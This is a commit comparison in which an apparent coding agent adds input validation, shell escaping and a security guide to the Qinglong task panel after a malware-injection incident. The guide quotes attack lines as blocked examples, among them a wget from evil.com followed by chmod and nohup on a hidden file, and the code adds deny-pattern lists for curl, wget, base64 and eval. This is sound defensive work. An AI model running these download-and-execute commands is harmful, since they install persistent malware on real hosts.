Compare commits

..

5 Commits

Author SHA1 Message Date
copilot-swe-agent[bot] ccb423be10 Update security documentation with comprehensive details and examples
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2026-02-08 15:29:46 +00:00
copilot-swe-agent[bot] d20e154f21 Address code review feedback: improve validation patterns and escaping
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2026-02-08 15:27:29 +00:00
copilot-swe-agent[bot] 0a2d7b1597 Fix security validation patterns to avoid false positives
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2026-02-08 15:25:44 +00:00
copilot-swe-agent[bot] ac8090d937 Add comprehensive security validation to prevent malicious code injection
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2026-02-08 15:23:03 +00:00
copilot-swe-agent[bot] a030e19fc0 Initial plan 2026-02-08 15:18:45 +00:00
7 changed files with 361 additions and 165 deletions
+228
View File
@@ -0,0 +1,228 @@
# Security Enhancements
## Overview
This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
## Issue Background
A security vulnerability was discovered where malicious code could be injected into the system through:
1. Cron task fields (`task_before`, `task_after`, `command`)
2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
The reported incident involved a malicious script that:
- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
- Executed the binary in the background consuming 100% memory
- Persisted by continuously re-injecting itself into configuration files
## Security Fixes Implemented
### 1. Input Validation for Cron Tasks
**File:** `/back/validation/schedule.ts`
Added comprehensive validation to detect and block dangerous shell patterns:
- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
### 2. Config File Content Security
**File:** `/back/api/config.ts`
Enhanced validation for configuration file content to prevent:
- Downloads followed by execution (`curl | bash`, `wget | bash`)
- Download and permission changes (`curl && chmod +x`)
- Downloads of hidden files (generalized pattern to catch various malware)
- Background execution of hidden files
### 3. Improved Shell Escaping
**File:** `/back/services/cron.ts`
Replaced weak shell escaping with a robust `escapeShellArg()` function that:
- Properly escapes single quotes using `'\\''` pattern
- Replaces newlines with spaces (not semicolons) to prevent command chain creation
- Prevents command injection through various shell metacharacters
## Security Best Practices
### For Administrators
1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
2. **Monitor Logs**: Check logs for security validation warnings
3. **Update Dependencies**: Keep all npm/pip dependencies up to date
4. **Limit Access**: Restrict who can create/modify cron tasks and config files
5. **Regular Backups**: Maintain backups of configuration files
### For Users
1. **Trusted Sources Only**: Only add scripts from trusted repositories
2. **Code Review**: Review any script before adding it to your cron tasks
3. **Avoid External URLs**: Don't include download commands in task hooks
4. **Report Suspicious Activity**: Report any unusual system behavior immediately
## Validation Error Messages
When the security system blocks a pattern, you'll see error messages like:
- `命令包含潜在危险的模式,已被安全系统拦截` - Command contains dangerous pattern
- `前置命令包含潜在危险的模式,已被安全系统拦截` - task_before contains dangerous pattern
- `后置命令包含潜在危险的模式,已被安全系统拦截` - task_after contains dangerous pattern
- `配置文件内容包含潜在危险的模式,已被安全系统拦截` - Config file contains dangerous pattern
## What to Do If You're Affected
If you've been affected by the malicious code injection:
### 1. Immediate Actions
```bash
# Stop and remove the malicious process
pkill -f ".fullgc"
rm -f /ql/data/db/.fullgc
# Check for the malicious code in configuration files
grep -r "fullgc" /ql/data/config/
grep -r "551911.xyz" /ql/data/config/
```
### 2. Clean Configuration Files
```bash
# Backup current configs
cp -r /ql/data/config /ql/data/config.backup
# Review and clean these files:
# - /ql/data/config/config.sh
# - /ql/data/config/extra.sh
# - /ql/data/config/task_before.sh
# - /ql/data/config/task_after.sh
# Remove any lines containing:
# - Downloads (curl, wget)
# - External URLs
# - .fullgc references
```
### 3. Review Cron Tasks
1. Log into Qinglong admin panel
2. Check all cron tasks for suspicious content in:
- Command field
- task_before field
- task_after field
3. Delete or clean any suspicious tasks
### 4. Update to Patched Version
Ensure you're running a version of Qinglong with these security fixes.
### 5. Change Credentials
If you suspect compromise:
- Change your Qinglong admin password
- Review and rotate any API tokens
- Check for unauthorized access in logs
## Detection
### Log Analysis
Security events are logged to help detect attempted attacks:
```bash
# Check for security validation failures in logs
grep "安全系统拦截" /ql/data/log/*.log
# Check for suspicious file modifications
grep "配置文件写入" /ql/data/log/*.log
```
### File Integrity
Regularly check for unexpected files:
```bash
# Find hidden executables in data directory
find /ql/data -type f -name ".*" -executable
# Check for recently modified config files
find /ql/data/config -type f -mtime -1
```
## Limitations
These security measures provide defense-in-depth but are not foolproof:
- Legitimate use cases requiring downloads must use alternative methods
- Very sophisticated attacks may find bypasses
- Users with admin access can still compromise the system
- Compromised dependencies can still execute malicious code
## Alternative Approaches for Legitimate Downloads
If you have legitimate use cases that require downloads:
1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
2. **Pre-download Files**: Download files manually and add them to the scripts directory
3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
## Technical Details
### Validation Pattern Examples
**Blocked Pattern:**
```bash
curl https://example.com/script.sh | bash
```
**Reason:** Downloads and executes external code
**Blocked Pattern:**
```bash
d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
```
**Reason:** Multiple violations - download, hidden file, chmod, background execution
**Allowed Pattern:**
```bash
node /ql/scripts/my_script.js
```
**Reason:** No dangerous patterns detected
### Defense in Depth
This implementation uses multiple layers of security:
1. **Input Validation**: Blocks malicious patterns before they reach the system
2. **Shell Escaping**: Prevents injection even if validation is bypassed
3. **Audit Logging**: Records all configuration changes for forensic analysis
4. **Least Privilege**: Existing blacklist prevents access to sensitive files
## Reporting Security Issues
If you discover a security vulnerability, please report it responsibly:
1. Do NOT create public GitHub issues for security vulnerabilities
2. Contact the maintainers privately
3. Provide detailed information about the vulnerability
4. Allow time for a patch before public disclosure
## References
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
## Version History
- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks
+43 -1
View File
@@ -64,7 +64,44 @@ export default (app: Router) => {
celebrate({
body: Joi.object({
name: Joi.string().required(),
content: Joi.string().allow('').optional(),
content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
if (!value) return value;
// Security validation for configuration file content
const dangerousPatterns = [
// Command substitution that could download/execute malware
{ pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
{ pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
{ pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
{ pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
// Suspicious file downloads followed by execution
{ pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
{ pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
// Downloads of hidden files (commonly used in malware)
{ pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
// Background execution of hidden files
{ pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
];
for (const { pattern, desc } of dangerousPatterns) {
if (pattern.test(value)) {
return helpers.error('string.unsafe', { description: desc });
}
}
// Check for excessive length
if (value.length > 1000000) {
return helpers.error('string.max', { limit: 1000000 });
}
return value;
}).messages({
'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description}),已被安全系统拦截',
'string.max': '配置文件内容过长,已被安全系统拦截',
}),
}),
}),
async (req: Request, res: Response, next: NextFunction) => {
@@ -73,11 +110,16 @@ export default (app: Router) => {
const { name, content } = req.body;
if (config.blackFileList.includes(name)) {
res.send({ code: 403, message: '文件无法访问' });
return;
}
let path = join(config.configPath, name);
if (name.startsWith('data/scripts/')) {
path = join(config.rootPath, name);
}
// Log security-relevant file modifications
logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
await writeFileWithLock(path, content);
res.send({ code: 200, message: '保存成功' });
} catch (e) {
+4 -61
View File
@@ -535,43 +535,12 @@ export async function setSystemTimezone(timezone: string): Promise<boolean> {
}
}
// Helper function to check if a name is a GitHub URL
function isGitHubUrl(name: string): boolean {
// Support git+https://, git+http://, https://, and http:// URLs
// This covers GitHub URLs and other git-compatible repositories
return !!name.match(/^(git\+https?:\/\/|https?:\/\/)/i);
}
// Helper function to check if a name is a requirements file
function isRequirementsFile(name: string): boolean {
return !!name.match(/requirements.*\.(txt|in)$/i);
}
// Helper function to check if a name is a pyproject.toml file
function isPyprojectToml(name: string): boolean {
return name.endsWith('pyproject.toml');
}
export function getGetCommand(type: DependenceTypes, name: string): string {
const trimmedName = name.trim();
// For Python dependencies installed from GitHub or requirements files,
// we can't reliably check if they're installed, so skip the check
if (type === DependenceTypes.python3) {
if (isGitHubUrl(trimmedName) ||
isRequirementsFile(trimmedName) ||
isPyprojectToml(trimmedName)) {
// Return a command that will always indicate not installed
// This ensures GitHub URLs and requirements files are always installed
return 'echo ""';
}
}
const baseCommands = {
[DependenceTypes.nodejs]: `pnpm ls -g | grep "${trimmedName}" | head -1`,
[DependenceTypes.nodejs]: `pnpm ls -g | grep "${name}" | head -1`,
[DependenceTypes.python3]: `
python3 -c "exec('''
name='${trimmedName}'
name='${name}'
try:
from importlib.metadata import version
print(version(name))
@@ -581,7 +550,7 @@ except:
spec=u.find_spec(name)
print(name if spec else '')
''')"`,
[DependenceTypes.linux]: `apk info -es ${trimmedName}`,
[DependenceTypes.linux]: `apk info -es ${name}`,
};
return baseCommands[type];
@@ -601,33 +570,7 @@ export function getInstallCommand(type: DependenceTypes, name: string): string {
command = `${command} --prefix=${PYTHON_INSTALL_DIR}`;
}
const trimmedName = name.trim();
// Handle different installation methods for Python
if (type === DependenceTypes.python3) {
// Check if it's a GitHub URL (support both git+ and direct URLs)
if (isGitHubUrl(trimmedName)) {
return `${command} ${trimmedName}`;
}
// Check if it's a requirements file path
if (isRequirementsFile(trimmedName)) {
return `${command} -r ${trimmedName}`;
}
// Check if it's a pyproject.toml file
if (isPyprojectToml(trimmedName)) {
// For pyproject.toml, install from the directory containing it
const pathMatch = trimmedName.match(/^(.+)\/pyproject\.toml$/);
if (pathMatch) {
// Has a path prefix, use the directory
return `${command} ${pathMatch[1]}`;
} else {
// Just "pyproject.toml", install current directory
return `${command} .`;
}
}
}
return `${command} ${trimmedName}`;
return `${command} ${name.trim()}`;
}
export function getUninstallCommand(
+18 -8
View File
@@ -639,6 +639,22 @@ export default class CronService {
}
}
/**
* Properly escape shell arguments to prevent command injection
* This function uses a more robust escaping mechanism than simple quote replacement
*/
private escapeShellArg(arg: string): string {
if (!arg) return "''";
// Remove newlines to prevent creating command chains
// Replace with space to maintain token separation
arg = arg.replace(/\r?\n/g, ' ').trim();
// Use single quotes and escape any single quotes within
// This is the most secure way to pass arbitrary strings to shell
return `'${arg.replace(/'/g, "'\\''")}'`;
}
private makeCommand(tab: Crontab, realTime?: boolean) {
let command = tab.command.trim();
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
@@ -650,16 +666,10 @@ export default class CronService {
commandVariable += `log_name=${tab.log_name} `;
}
if (tab.task_before) {
commandVariable += `task_before='${tab.task_before
.replace(/'/g, "'\\''")
.replace(/;? *\n/g, ';')
.trim()}' `;
commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
}
if (tab.task_after) {
commandVariable += `task_after='${tab.task_after
.replace(/'/g, "'\\''")
.replace(/;? *\n/g, ';')
.trim()}' `;
commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
}
const crontab_job_string = `${commandVariable}${command}`;
+66 -3
View File
@@ -4,6 +4,57 @@ import { ScheduleType } from '../interface/schedule';
import path from 'path';
import config from '../config';
/**
* Security validation function to detect potentially malicious shell code patterns
*/
const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
if (!value) return value;
// Define dangerous patterns that should be blocked
const dangerousPatterns = [
// Command substitution
/\$\([^)]*\)/,
/`[^`]*`/,
// File downloads
/\b(curl|wget|fetch)\s+/i,
// Suspicious domains or external URLs
/https?:\/\/[^\s]+/i,
// Hidden executable files (files starting with . in a path context)
/\/\.\w+(\s|$|;|&|\||>)/,
// Background process spawning with suspicious names
/nohup\s+["']?[^\s"']*\/\.\w+/,
// Redirect to dev null combined with downloads (hiding malware output)
/(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
// Base64 decode patterns (often used to obfuscate malicious code)
/\b(base64|decode|eval)\s+/i,
// Executable files in /tmp with chmod or execution
/\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
];
for (const pattern of dangerousPatterns) {
if (pattern.test(value)) {
return helpers.error('string.unsafe', {
pattern: pattern.source,
field: fieldName
});
}
}
// Check for excessive length (potential buffer overflow or obfuscation)
if (value.length > 10000) {
return helpers.error('string.max', { limit: 10000 });
}
return value;
};
const validateSchedule = (value: string, helpers: any) => {
if (
value.startsWith(ScheduleType.ONCE) ||
@@ -32,13 +83,25 @@ export const scheduleSchema = Joi.string()
export const commonCronSchema = {
name: Joi.string().optional(),
command: Joi.string().required(),
command: Joi.string().required().custom((value: any, helpers: any) => {
return validateShellSecurity(value, helpers, 'command');
}).messages({
'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截',
}),
schedule: scheduleSchema,
labels: Joi.array().optional(),
sub_id: Joi.number().optional().allow(null),
extra_schedules: Joi.array().optional().allow(null),
task_before: Joi.string().optional().allow('').allow(null),
task_after: Joi.string().optional().allow('').allow(null),
task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
return validateShellSecurity(value, helpers, 'task_before');
}).messages({
'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截',
}),
task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
return validateShellSecurity(value, helpers, 'task_after');
}).messages({
'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截',
}),
log_name: Joi.string()
.optional()
.allow('')
-74
View File
@@ -111,76 +111,6 @@ add_cron() {
notify_api "$path 新增任务" "$detail"
}
## 自动安装订阅仓库中的Python依赖
auto_install_python_deps() {
local repo_path="$1"
local uniq_path="$2"
echo -e "\n检测订阅仓库中的Python依赖文件...\n"
get_token
# 检查 requirements.txt
if [[ -f "${repo_path}/requirements.txt" ]]; then
echo -e "发现 requirements.txt,开始自动安装依赖...\n"
local req_file="${dir_scripts}/${uniq_path}/requirements.txt"
# 确保目标目录存在
make_dir "${dir_scripts}/${uniq_path}"
# 复制文件并检查结果
if cp -f "${repo_path}/requirements.txt" "${req_file}" 2>/dev/null; then
# 调用API添加依赖安装任务
local dep_name="${uniq_path}/requirements.txt"
local currentTimeStamp=$(date +%s)
local result=$(curl -s --noproxy "*" "http://127.0.0.1:${ql_port}/open/dependencies?t=$currentTimeStamp" \
-X POST \
-H "Content-Type: application/json;charset=UTF-8" \
-H "Authorization: Bearer ${__ql_token__}" \
--data-raw "[{\"name\":\"${dep_name}\",\"type\":1,\"remark\":\"自动检测:${uniq_path} 订阅依赖\"}]" 2>/dev/null)
local code=$(echo "$result" | jq -r '.code' 2>/dev/null)
if [[ "$code" == "200" ]]; then
echo -e "已添加 requirements.txt 依赖安装任务\n"
else
echo -e "添加 requirements.txt 依赖失败,请手动添加\n"
fi
else
echo -e "复制 requirements.txt 失败,跳过自动安装\n"
fi
fi
# 检查 pyproject.toml
if [[ -f "${repo_path}/pyproject.toml" ]]; then
echo -e "发现 pyproject.toml,开始自动安装依赖...\n"
local pyproject_file="${dir_scripts}/${uniq_path}/pyproject.toml"
# 确保目标目录存在
make_dir "${dir_scripts}/${uniq_path}"
# 复制文件并检查结果
if cp -f "${repo_path}/pyproject.toml" "${pyproject_file}" 2>/dev/null; then
# 调用API添加依赖安装任务
local dep_name="${uniq_path}/pyproject.toml"
local currentTimeStamp=$(date +%s)
local result=$(curl -s --noproxy "*" "http://127.0.0.1:${ql_port}/open/dependencies?t=$currentTimeStamp" \
-X POST \
-H "Content-Type: application/json;charset=UTF-8" \
-H "Authorization: Bearer ${__ql_token__}" \
--data-raw "[{\"name\":\"${dep_name}\",\"type\":1,\"remark\":\"自动检测:${uniq_path} 订阅依赖\"}]" 2>/dev/null)
local code=$(echo "$result" | jq -r '.code' 2>/dev/null)
if [[ "$code" == "200" ]]; then
echo -e "已添加 pyproject.toml 依赖安装任务\n"
else
echo -e "添加 pyproject.toml 依赖失败,请手动添加\n"
fi
else
echo -e "复制 pyproject.toml 失败,跳过自动安装\n"
fi
fi
}
## 更新仓库
update_repo() {
local url="$1"
@@ -207,10 +137,6 @@ update_repo() {
if [[ $exit_status -eq 0 ]]; then
echo -e "拉取 ${uniq_path} 成功...\n"
# 自动检测并安装Python依赖
auto_install_python_deps "${repo_path}" "${uniq_path}"
diff_scripts "$repo_path" "$author" "$path" "$blackword" "$dependence" "$extensions" "$autoAddCron" "$autoDelCron"
else
echo -e "拉取 ${uniq_path} 失败,请检查日志...\n"
+2 -18
View File
@@ -22,9 +22,6 @@ const DependenceModal = ({
}) => {
const [form] = Form.useForm();
const [loading, setLoading] = useState(false);
const [selectedType, setSelectedType] = useState(
DependenceTypes[defaultType as any],
);
const handleOk = async (values: any) => {
setLoading(true);
@@ -93,7 +90,7 @@ const DependenceModal = ({
label={intl.get('依赖类型')}
initialValue={DependenceTypes[defaultType as any]}
>
<Select onChange={(value) => setSelectedType(value)}>
<Select>
{config.dependenceTypes.map((x, i) => (
<Option key={i} value={i}>
{x}
@@ -124,24 +121,11 @@ const DependenceModal = ({
whitespace: true,
},
]}
tooltip={
selectedType === DependenceTypes.python3
? intl.get(
'Python支持多种安装方式:\n1. 包名(如:requests\n2. GitHub链接(如:git+https://github.com/user/repo.git\n3. requirements文件路径(如:path/to/requirements.txt\n4. pyproject.toml文件路径',
)
: undefined
}
>
<Input.TextArea
rows={4}
autoSize={{ minRows: 1, maxRows: 5 }}
placeholder={
selectedType === DependenceTypes.python3
? intl.get(
'支持包名、GitHub链接、requirements.txt或pyproject.toml路径',
)
: intl.get('请输入依赖名称')
}
placeholder={intl.get('请输入依赖名称')}
/>
</Form.Item>
<Form.Item name="remark" label={intl.get('备注')}>